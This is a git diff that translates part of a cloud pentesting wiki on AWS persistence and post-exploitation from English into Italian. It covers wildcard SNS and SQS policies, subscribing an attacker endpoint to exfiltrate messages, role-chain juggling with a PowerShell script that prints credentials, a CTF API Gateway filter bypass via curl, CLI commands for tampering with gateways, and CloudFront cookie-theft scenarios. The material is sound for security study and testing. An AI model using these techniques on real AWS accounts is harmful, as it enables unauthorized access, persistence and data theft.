+Quando crei un **argomento SNS** devi indicare con una policy IAM **chi ha accesso a leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\
+La seguente policy consente a chiunque in AWS di leggere e scrivere nell'argomento SNS chiamato **`MySNS.fifo`**:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__default_statement_ID",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": [
- "SNS:Publish",
- "SNS:RemovePermission",
- "SNS:SetTopicAttributes",
- "SNS:DeleteTopic",
- "SNS:ListSubscriptionsByTopic",
- "SNS:GetTopicAttributes",
- "SNS:AddPermission",
- "SNS:Subscribe"
- ],
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
- "Condition": {
- "StringEquals": {
- "AWS:SourceOwner": "318142138553"
- }
- }
- },
- {
- "Sid": "__console_pub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Publish",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- },
- {
- "Sid": "__console_sub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Subscribe",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
}
```
+### Crea Sottoscrittori
-### Create Subscribers
-
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+Per continuare a esfiltrare tutti i messaggi da tutti gli argomenti, l'attaccante potrebbe **creare sottoscrittori per tutti gli argomenti**.
+Nota che se l'**argomento è di tipo FIFO**, solo i sottoscrittori che utilizzano il protocollo **SQS** possono essere utilizzati.
```bash
aws sns subscribe --region \
- --protocol http \
- --notification-endpoint http:/// \
- --topic-arn
+--protocol http \
+--notification-endpoint http:/// \
+--topic-arn
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 88f396173..a64d423e0 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -4,40 +4,34 @@
## SQS
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
+### Utilizzando la policy delle risorse
+In SQS è necessario indicare con una policy IAM **chi ha accesso per leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\
+La seguente policy consente a chiunque in AWS di accedere a tutto nella coda chiamata **MyTestQueue**:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__owner_statement",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": ["SQS:*"],
- "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
}
```
-
> [!NOTE]
-> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Potresti anche **attivare un Lambda nell'account degli attaccanti ogni volta che un nuovo messaggio** viene inserito nella coda (dovresti in qualche modo reinserirlo). Per questo segui queste istruzioni: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index c1b9a422b..3bd0aae28 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1,6 +1 @@
# AWS - SSM Perssitence
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 4e8c120ff..2d31d1ed4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -1,25 +1,21 @@
-# AWS - Step Functions Persistence
+# AWS - Persistenza delle Funzioni Step
{{#include ../../../banners/hacktricks-training.md}}
-## Step Functions
+## Funzioni Step
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Step function Backdooring
+### Backdooring delle funzioni step
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
+Backdoor una funzione step per farla eseguire qualsiasi trucco di persistenza in modo che ogni volta che viene eseguita, eseguirà i tuoi passaggi malevoli.
-### Backdooring aliases
+### Backdooring degli alias
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
+Se l'account AWS utilizza alias per chiamare le funzioni step, sarebbe possibile modificare un alias per utilizzare una nuova versione backdoor della funzione step.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 74db04bec..bd5f9fb45 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -4,7 +4,7 @@
## STS
-For more information access:
+Per ulteriori informazioni accedi a:
{{#ref}}
../aws-services/aws-sts-enum.md
@@ -12,54 +12,51 @@ For more information access:
### Assume role token
-Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
+I token temporanei non possono essere elencati, quindi mantenere un token temporaneo attivo è un modo per mantenere la persistenza.
aws sts get-session-token --duration-seconds 129600
-# With MFA
+# Con MFA
aws sts get-session-token \
- --serial-number <mfa-device-name> \
- --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# Il nome del dispositivo hardware è solitamente il numero sul retro del dispositivo, come GAHT12345678
+# Il nome del dispositivo SMS è l'ARN in AWS, come arn:aws:iam::123456789012:sms-mfa/username
+# Il nome del dispositivo virtuale è l'ARN in AWS, come arn:aws:iam::123456789012:mfa/username
### Role Chain Juggling
-[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
-
-You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
+[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere la persistenza stealth. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali.
+Puoi utilizzare questo [**strumento**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il chaining dei ruoli:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
optional arguments:
- -h, --help show this help message and exit
- -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
+-h, --help show this help message and exit
+-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
-
> [!CAUTION]
-> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
+> Nota che lo script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) di quel repository Github non trova tutti i modi in cui una catena di ruoli può essere configurata.
-Code to perform Role Juggling from PowerShell
-
+Codice per eseguire il Role Juggling da PowerShell
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
- Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
- exit
+Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
+exit
}
# Function to list IAM roles
function List-IAMRoles {
- aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
+aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
}
# Initialize error count
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
# Attempt to assume each role
foreach ($role in $roles) {
- $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($credentials) {
- Write-Host "Successfully assumed role: $($role.RoleName)"
- Write-Host "Access Key: $($credentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
- Write-Host "Session Token: $($credentials.SessionToken)"
- Write-Host "Expiration: $($credentials.Expiration)"
+$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($credentials) {
+Write-Host "Successfully assumed role: $($role.RoleName)"
+Write-Host "Access Key: $($credentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
+Write-Host "Session Token: $($credentials.SessionToken)"
+Write-Host "Expiration: $($credentials.Expiration)"
- # Set temporary credentials to assume the next role
- $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
- $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
- $env:AWS_SESSION_TOKEN = $credentials.SessionToken
+# Set temporary credentials to assume the next role
+$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
+$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
+$env:AWS_SESSION_TOKEN = $credentials.SessionToken
- # Try to assume another role using the temporary credentials
- foreach ($nextRole in $roles) {
- if ($nextRole.Arn -ne $role.Arn) {
- $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($nextCredentials) {
- Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
- Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
- Write-Host "Session Token: $($nextCredentials.SessionToken)"
- Write-Host "Expiration: $($nextCredentials.Expiration)"
- }
- } catch {
- $errorCount++
- }
- }
- }
+# Try to assume another role using the temporary credentials
+foreach ($nextRole in $roles) {
+if ($nextRole.Arn -ne $role.Arn) {
+$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($nextCredentials) {
+Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
+Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
+Write-Host "Session Token: $($nextCredentials.SessionToken)"
+Write-Host "Expiration: $($nextCredentials.Expiration)"
+}
+} catch {
+$errorCount++
+}
+}
+}
- # Reset environment variables
- Remove-Item Env:\AWS_ACCESS_KEY_ID
- Remove-Item Env:\AWS_SECRET_ACCESS_KEY
- Remove-Item Env:\AWS_SESSION_TOKEN
- } else {
- $errorCount++
- }
- } catch {
- $errorCount++
- }
+# Reset environment variables
+Remove-Item Env:\AWS_ACCESS_KEY_ID
+Remove-Item Env:\AWS_SECRET_ACCESS_KEY
+Remove-Item Env:\AWS_SESSION_TOKEN
+} else {
+$errorCount++
+}
+} catch {
+$errorCount++
+}
}
# Output the number of errors if any
if ($errorCount -gt 0) {
- Write-Host "$errorCount error(s) occurred during role assumption attempts."
+Write-Host "$errorCount error(s) occurred during role assumption attempts."
} else {
- Write-Host "No errors occurred. All roles checked successfully."
+Write-Host "No errors occurred. All roles checked successfully."
}
Write-Host "Role juggling check complete."
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
index 53f79d916..941a860e3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
@@ -1,6 +1 @@
# AWS - Post Exploitation
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 4847c40e0..1bc7c23a8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -4,48 +4,43 @@
## API Gateway
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Access unexposed APIs
+### Accesso a API non esposte
-You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
-Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
+Puoi creare un endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con il servizio `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare un gruppo di sicurezza che consenta tutte le connessioni.\
+Poi, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era esposta prima.
-### Bypass Request body passthrough
+### Bypass del passaggio del corpo della richiesta
-This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Questa tecnica è stata trovata in [**questo writeup CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
-As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
-
-Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
+Come indicato nella [**documentazione AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita, il valore **`WHEN_NO_MATCH`**, quando controlla l'intestazione **Content-Type** della richiesta, passerà la richiesta al back end senza trasformazione.
+Pertanto, nel CTF, l'API Gateway aveva un modello di integrazione che **impediva l'exfiltrazione della flag** in una risposta quando veniva inviata una richiesta con `Content-Type: application/json`:
```yaml
RequestTemplates:
- application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
+Tuttavia, inviare una richiesta con **`Content-type: text/json`** impedirebbe quel filtro.
-However, sending a request with **`Content-type: text/json`** would prevent that filter.
-
-Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
-
+Infine, poiché l'API Gateway consentiva solo `Get` e `Options`, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel corpo e utilizzando l'intestazione `X-HTTP-Method-Override: GET`:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
-
### Usage Plans DoS
-In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
+Nella sezione **Enumeration** puoi vedere come **ottenere il piano di utilizzo** delle chiavi. Se hai la chiave e è **limitata** a X utilizzi **al mese**, potresti **semplicemente usarla e causare un DoS**.
-The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
+La **API Key** deve essere **inclusa** all'interno di un **HTTP header** chiamato **`x-api-key`**.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+Un attaccante con i permessi `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` può **modificare una Gateway Response esistente per includere intestazioni personalizzate o modelli di risposta che leak informazioni sensibili o eseguire script dannosi**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato alle risorse API.
> [!NOTE]
-> Need testing
+> Necessita di test
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
-
+Un attaccante con i permessi `apigateway:UpdateStage` e `apigateway:CreateDeployment` può **modificare un stage esistente di API Gateway per reindirizzare il traffico a un altro stage o cambiare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
+**Impatto Potenziale**: Accesso non autorizzato ai dati memorizzati nella cache, interruzione o intercettazione del traffico API.
> [!NOTE]
-> Need testing
+> Necessita di test
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+Un attaccante con i permessi `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` può **modificare la risposta del metodo di un metodo API Gateway REST API esistente per includere intestazioni personalizzate o modelli di risposta che leak informazioni sensibili o eseguire script dannosi**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato alle risorse API.
> [!NOTE]
-> Need testing
+> Necessita di test
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
-
+Un attaccante con i permessi `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` può **modificare le impostazioni dell'API Gateway REST API per disabilitare il logging o cambiare la versione minima di TLS, potenzialmente indebolendo la sicurezza dell'API**.
```bash
API_ID="your-api-id"
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
+**Impatto Potenziale**: Indebolimento della sicurezza dell'API, potenzialmente consentendo accessi non autorizzati o esponendo informazioni sensibili.
> [!NOTE]
-> Need testing
+> Necessita di test
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
-
+Un attaccante con permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove chiavi API, associarle a piani di utilizzo e poi utilizzare queste chiavi per accessi non autorizzati alle API**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
-
-**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
+**Impatto Potenziale**: Accesso non autorizzato alle risorse API, eludendo i controlli di sicurezza.
> [!NOTE]
-> Need testing
+> Necessita di test
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 4a3c4ff21..18e155d00 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -4,7 +4,7 @@
## CloudFront
-For more information check:
+Per ulteriori informazioni controlla:
{{#ref}}
../aws-services/aws-cloudfront-enum.md
@@ -12,24 +12,20 @@ For more information check:
### Man-in-the-Middle
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
+Questo [**post del blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione tramite CloudFront** con lo scopo di **rubare** informazioni degli utenti (come il **cookie** di sessione) e **modificare** la **risposta** (iniettando uno script JS malevolo).
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+#### scenario 1: MitM dove CloudFront è configurato per accedere a qualche HTML di un bucket
-- **Create** the malicious **function**.
-- **Associate** it with the CloudFront distribution.
-- Set the **event type to "Viewer Response"**.
+- **Crea** la **funzione** malevola.
+- **Associala** alla distribuzione CloudFront.
+- Imposta il **tipo di evento su "Viewer Response"**.
-Accessing the response you could steal the users cookie and inject a malicious JS.
+Accedendo alla risposta potresti rubare il cookie degli utenti e iniettare un JS malevolo.
-#### scenario 2: MitM where CloudFront is already using a lambda function
+#### scenario 2: MitM dove CloudFront sta già utilizzando una funzione lambda
-- **Modify the code** of the lambda function to steal sensitive information
+- **Modifica il codice** della funzione lambda per rubare informazioni sensibili
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Puoi controllare il [**codice tf per ricreare questi scenari qui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 54be4e299..c910f920b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -4,85 +4,73 @@
## CodeBuild
-For more information, check:
+Per ulteriori informazioni, controlla:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
-### Check Secrets
+### Controlla i Segreti
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
+Se le credenziali sono state impostate in Codebuild per connettersi a Github, Gitlab o Bitbucket sotto forma di token personali, password o token di accesso OAuth, queste **credenziali verranno memorizzate come segreti nel gestore dei segreti**.\
+Pertanto, se hai accesso per leggere il gestore dei segreti, sarai in grado di ottenere questi segreti e passare alla piattaforma connessa.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
{{#endref}}
-### Abuse CodeBuild Repo Access
+### Abuso dell'Accesso al Repo di CodeBuild
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
+Per configurare **CodeBuild**, avrà bisogno di **accesso al repo di codice** che utilizzerà. Diverse piattaforme potrebbero ospitare questo codice:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
+Il **progetto CodeBuild deve avere accesso** al provider di origine configurato, sia tramite **ruolo IAM** che con un **token github/bitbucket o accesso OAuth**.
